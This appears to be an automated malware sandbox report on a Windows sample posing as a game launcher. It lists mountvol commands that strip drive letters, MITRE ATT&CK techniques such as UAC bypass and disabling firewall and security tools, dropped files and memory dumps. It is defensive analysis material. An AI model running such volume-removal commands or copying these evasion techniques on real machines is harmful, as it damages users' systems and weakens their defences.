C:\Windows\system32\mountvol.exe"mountvol" T: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" T: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" U: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" U: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" V: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" V: /D2⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" W: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" W: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" X: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" X: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" Y: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Y: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /D2⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /D2⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" Q: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Q: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" R: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" R: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" S: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" S: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" T: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" T: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" U: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" U: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" V: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" V: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" W: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" W: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" X: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" X: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" Y: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Y: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\UsoClient.exeC:\Windows\system32\usoclient.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Impair Defenses
6Disable or Modify System Firewall
1Disable or Modify Tools
4Modify Registry
6Replay Monitor
Loading Replay Monitor...
Downloads
MicrosoftEdgeUpdate.exe.log
NewLauncher-2.0.9-windows-x64.exe.log
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
IDX_CONTENT_TASKBARHEADLINES.json
1c429984-9d44-4818-8b5b-cef457754eb5.xml
333eeff8-4838-4755-8d48-a9b743d75470.xml
457c56d4-364f-4728-9e1a-197c071c926d.xml
845b71ca-2367-42be-a5f0-94a7f71e8f80.xml
8ae9382a-7992-423e-a2ae-dbb8b3be2e76.xml
9eea19ea-6f19-4b6e-88bb-a3ebbb75d94d.xml
MicrosoftEdgeUpdate.exe
__PSScriptPolicyTest_mulgym0t.3ov.ps1
ab3d1db4-d73a-41ab-9eec-b2649bc5a475.xml
c92fe91e-1347-45ae-bbd7-4bf8485fe545.xml
ccc637e7-4a71-4ccc-95d1-894fa2c6258f.xml
f1f67e1d80a94d87adfd1a7f87737c4d.dll
f26e27d1-6cee-4e7c-8256-4b04e9e0c332.xml
faaf2af0-a1ad-4214-a812-c3d66760bfc9.xml
driver_infector.log
driver_infector.log
driver_infector.log
driver_infector.log
driver_infector.log
memory/536-2164-0x00000000000B0000-0x00000000010B0000-memory.dmp
memory/744-1906-0x0000025FF1950000-0x0000025FF19C0000-memory.dmp
memory/748-975-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/900-2763-0x0000000000AF0000-0x0000000001AF0000-memory.dmp
memory/1244-1821-0x0000000000890000-0x0000000001890000-memory.dmp
memory/1392-1691-0x0000000000DF0000-0x0000000001DF0000-memory.dmp
memory/1392-1220-0x0000026587470000-0x000002658749B000-memory.dmp
memory/1392-1227-0x0000026587470000-0x000002658749B000-memory.dmp
memory/1392-1228-0x0000026587470000-0x000002658749B000-memory.dmp
memory/1392-1225-0x0000026587470000-0x000002658749B000-memory.dmp
memory/1392-1226-0x0000026587470000-0x000002658749B000-memory.dmp
memory/1428-1297-0x0000028FBC760000-0x0000028FBC7D0000-memory.dmp
memory/1696-1191-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/1844-1312-0x0000000000A50000-0x0000000001A50000-memory.dmp
memory/1852-1198-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/1892-933-0x000001B76A980000-0x000001B76AB9C000-memory.dmp
memory/1892-869-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/1940-2311-0x00000000005D0000-0x00000000015D0000-memory.dmp
memory/1944-13-0x0000000021F70000-0x0000000021F80000-memory.dmp
memory/1944-0-0x0000000000630000-0x0000000001630000-memory.dmp
memory/1948-2-0x0000020BE7E40000-0x0000020BE7E50000-memory.dmp
memory/1948-1-0x0000020BE7E40000-0x0000020BE7E50000-memory.dmp
memory/1948-10-0x0000020BEA670000-0x0000020BEA692000-memory.dmp
memory/1952-2747-0x000002401ECA0000-0x000002401ED10000-memory.dmp
memory/1960-1185-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/2020-724-0x00000226F0410000-0x00000226F062C000-memory.dmp
memory/2112-2230-0x000002A5501C0000-0x000002A550230000-memory.dmp
memory/2124-2557-0x00000267684A0000-0x0000026768510000-memory.dmp
memory/2156-1183-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/2216-2573-0x0000000000540000-0x0000000001540000-memory.dmp
memory/2324-2181-0x000002661C000000-0x000002661C00A000-memory.dmp
memory/2324-562-0x00007FFEAA850000-0x00007FFEAAA45000-memory.dmp
memory/2324-1187-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/2324-563-0x00007FFEA8F40000-0x00007FFEA8FFE000-memory.dmp
memory/2324-564-0x00007FFEA8080000-0x00007FFEA8349000-memory.dmp
memory/2380-2148-0x00000194567F0000-0x0000019456860000-memory.dmp
memory/2392-1200-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/2732-1444-0x000001C9EA0B0000-0x000001C9EA120000-memory.dmp
memory/2808-2830-0x0000000000600000-0x0000000001600000-memory.dmp
memory/2828-1567-0x0000000000B80000-0x0000000001B80000-memory.dmp
memory/2896-693-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/2896-1212-0x000002826CD40000-0x000002826CD6B000-memory.dmp
memory/2896-1210-0x000002826CD40000-0x000002826CD6B000-memory.dmp
memory/2896-1211-0x000002826CD40000-0x000002826CD6B000-memory.dmp
memory/2896-1213-0x000002826CD40000-0x000002826CD6B000-memory.dmp
memory/2896-1214-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/2896-755-0x00000218BFFE0000-0x00000218C01FC000-memory.dmp
memory/2896-1216-0x000002826CD40000-0x000002826CD6B000-memory.dmp
memory/2896-1217-0x00007FF60D850000-0x00007FF60D85A000-memory.dmp
memory/2896-1209-0x000002826CD40000-0x000002826CD6B000-memory.dmp
memory/2896-1202-0x000002826CD40000-0x000002826CD6B000-memory.dmp
memory/3008-2640-0x00000000002C0000-0x00000000012C0000-memory.dmp
memory/3112-177-0x0000015A46960000-0x0000015A46B7C000-memory.dmp
memory/3264-1193-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/3296-280-0x0000000002D60000-0x0000000002D61000-memory.dmp
memory/3296-45-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/3296-595-0x00000000049C0000-0x00000000049C1000-memory.dmp
memory/3352-178-0x0000024FE88C0000-0x0000024FE8ADC000-memory.dmp
memory/3352-850-0x0000017C7B6D0000-0x0000017C7B8EC000-memory.dmp
memory/3528-1015-0x00000187F8600000-0x00000187F881C000-memory.dmp
memory/3568-465-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/3684-40-0x00007FFEA8F40000-0x00007FFEA8FFE000-memory.dmp
memory/3684-25-0x0000022D66540000-0x0000022D665B0000-memory.dmp
memory/3684-41-0x00007FFEA8080000-0x00007FFEA8349000-memory.dmp
memory/3684-39-0x00007FFEAA850000-0x00007FFEAAA45000-memory.dmp
memory/3732-1205-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/3736-1196-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/3800-679-0x0000012EDA1B0000-0x0000012EDA3CC000-memory.dmp
memory/3856-1675-0x0000027365220000-0x0000027365290000-memory.dmp
memory/3856-2491-0x0000029DF9A10000-0x0000029DF9A80000-memory.dmp
memory/3924-2697-0x0000000000830000-0x0000000001830000-memory.dmp
memory/3932-2880-0x0000015F0E990000-0x0000015F0EA00000-memory.dmp
memory/3952-301-0x0000019C82250000-0x0000019C822C0000-memory.dmp
memory/3952-296-0x0000019C82470000-0x0000019C8249B000-memory.dmp
memory/3952-1465-0x0000019C826B0000-0x0000019C826BC000-memory.dmp
memory/3952-288-0x0000019C82470000-0x0000019C8249B000-memory.dmp
memory/3952-2641-0x0000019C9C900000-0x0000019C9C90C000-memory.dmp
memory/3952-295-0x0000019C82470000-0x0000019C8249B000-memory.dmp
memory/3952-294-0x0000019C82470000-0x0000019C8249B000-memory.dmp
memory/3952-287-0x0000019C82470000-0x0000019C8249B000-memory.dmp
memory/3952-361-0x00007FFEA8F40000-0x00007FFEA8FFE000-memory.dmp
memory/3952-297-0x0000019C82470000-0x0000019C8249B000-memory.dmp
memory/3952-298-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/3952-362-0x00007FFEA8080000-0x00007FFEA8349000-memory.dmp
memory/3952-360-0x00007FFEAA850000-0x00007FFEAAA45000-memory.dmp
memory/3952-284-0x0000019C82330000-0x0000019C82355000-memory.dmp
memory/3952-293-0x0000019C82470000-0x0000019C8249B000-memory.dmp
memory/4072-1118-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/4080-2295-0x000002CE5EDA0000-0x000002CE5EE10000-memory.dmp
memory/4080-2814-0x0000022354CF0000-0x0000022354D60000-memory.dmp
memory/4080-260-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/4112-2681-0x000001C496390000-0x000001C496400000-memory.dmp
memory/4212-567-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/4212-569-0x000002CFAACA0000-0x000002CFAAE0A000-memory.dmp
memory/4336-1935-0x0000000000880000-0x0000000001880000-memory.dmp
memory/4340-469-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/4360-2426-0x0000019F759F0000-0x0000019F75A60000-memory.dmp
memory/4360-2624-0x000002614E0A0000-0x000002614E110000-memory.dmp
memory/4420-1551-0x000001F6D3E50000-0x000001F6D3EC0000-memory.dmp
memory/4436-1461-0x0000000000F50000-0x0000000001F50000-memory.dmp
memory/4468-995-0x0000026950310000-0x000002695052C000-memory.dmp
memory/4484-2034-0x00000179ABA30000-0x00000179ABAA0000-memory.dmp
memory/4556-2050-0x0000000000F90000-0x0000000001F90000-memory.dmp
memory/4580-2361-0x0000029340C60000-0x0000029340CD0000-memory.dmp
memory/4628-893-0x0000022EA00C0000-0x0000022EA02DC000-memory.dmp
memory/4628-2896-0x0000000000880000-0x0000000001880000-memory.dmp
memory/4712-2246-0x0000000000EB0000-0x0000000001EB0000-memory.dmp
memory/4804-1805-0x000001AFD6780000-0x000001AFD67F0000-memory.dmp
memory/4892-1189-0x00007FFE6A8D0000-0x00007FFE6A8E0000-memory.dmp
memory/4896-2507-0x0000000000600000-0x0000000001600000-memory.dmp
memory/5004-2442-0x0000000000EE0000-0x0000000001EE0000-memory.dmp